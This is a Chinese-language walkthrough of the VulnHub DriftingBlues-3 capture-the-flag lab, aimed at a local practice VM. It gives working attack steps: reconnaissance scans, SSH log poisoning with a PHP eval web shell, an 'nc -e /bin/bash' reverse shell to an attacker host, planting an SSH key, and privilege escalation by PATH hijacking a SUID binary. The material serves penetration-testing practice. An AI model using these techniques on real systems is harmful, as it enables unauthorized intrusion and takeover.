一.环境搭建
1.靶场描述
get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.
This works better with VirtualBox rather than VMware2.靶场下载
https://www.vulnhub.com/entry/driftingblues-3,656/
3.靶场启动
靶场网段我们知道是192.168.1.0/24,我们进行探测
二.信息收集
1.寻找靶场真实ip
nmap -sP 192.168.1.0/24
arp-scan -l
靶场真实ip地址为192.168.1.82.探测端口及服务
nmap -p- -sV 192.168.1.8
发现开启了22端口，服务为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
发现开启了80端口，服务为Apache httpd 2.4.38 ((Debian))三.渗透测试
1.访问web服务
http://192.168.1.8
2.扫描web服务
1)nikto扫描
nikto -h http://192.168.1.8
我们扫描到三个目录，一个一个进行访问
发现只有robots.txt目录是有信息的，其他的都没有用
2)dirsearch目录扫描
dirsearch -u 192.168.1.8 -e * -x 403 --random-agent
还是只有robots.txt目录，那么我们进行分析即可
3.渗透测试
1)访问robots.txt
http://192.168.1.8/robots.txt
我们继续访问
http://192.168.1.8/eventadmins/
我们继续访问
http://192.168.1.8/littlequeenofspades.html
我们访问源代码，可以看到一串base64编码，我们进行解密
最后解密出来是一个目录，我们进行访问
http://192.168.1.8/adminsfixit.php
我们可以看到是ssh日志记录，那么我们可以试试一句话木马连接ssh，会不会被记录
2)ssh日志记录
ssh '<?php @eval($_POST['MS02423']);?>'@192.168.1.8
我们连接蚁剑，发现可以连接成功
这样我们就可以反弹shell了
3)反弹shell
方法一:我们使用cmd进行反弹
http://192.168.1.8/adminsfixit.php/?cmd=system(%27nc%20-e%20/bin/bash%20192.168.1.9%205555%27);
我们可以看到反弹成功
方法二:我们使用蚁剑虚拟终端进行反弹
我们可以看到反弹成功，这两个方法都可以试试
4)SSH密钥
分析查看靶机内文件，发现home目录下有一个robertj用户，且该用户目录下存在两个文件，user.txt”文件没有权限无法打开，.ssh 目录有可读可写可执行权限，进入 .ssh 目录进行查看，发现目录内没有任何文件内容
继续查看分析，查看ssh配置文件（默认目录/etc/ssh/sshd_config），发现可以公钥登录，并且给出了公钥文件存放目录 /home/robertj/.ssh/authorized_keys
尝试把公钥放入.ssh目录内，使用 ssh-keygen工具生成公密钥，并将生成的密钥保存到 /home/robertj/.ssh/ 目录下
ssh-keygen -t rsa
-t 指定生成的密钥类型，默认为RSA类型
我们可以看到写入成功
将生成的公钥内容输出到authorized_keys文件内
查看私钥文件，将内容复制出来，粘贴到本地文件中, 注意要将id_rsa文件的权限修改为与创建时权限一致
5)ssh登录
我们进行登录
ssh robertj@192.168.1.8 -i '/home/kali/桌面/1.txt' 
我们查看user.txt，看到第一个flag
6)提权
我们使用sudo -l查看，发现没有
那么我们使用另一条命令，使用 find 命令寻找suid程序，发现一个可疑程序/usr/bin/getinfo
find / -perm -4000 -type f 2>/dev/null
执行该程序，根据执行结果发现分别运行了ip addr、cat /etc/hosts、uname -a命令
可以通过修改环境来进行命令劫持提权
通过修改环境变量让getinfo在调用命令调用到我们伪造的ip命令（在检索环境时会先调用最前面的环境也就是最新写入的环境），来达到提权的效果
export PATH=/tmp/:$PATH 把/tmp路径写入到系统路径中
cd /tmp
echo '/bin/bash' > ip 把/bin/bash写入到ip文件中(相当于创建ip并写入/bin/bash)
chmod +x ip 给ip文件增加执行权限
我们查看flag即可
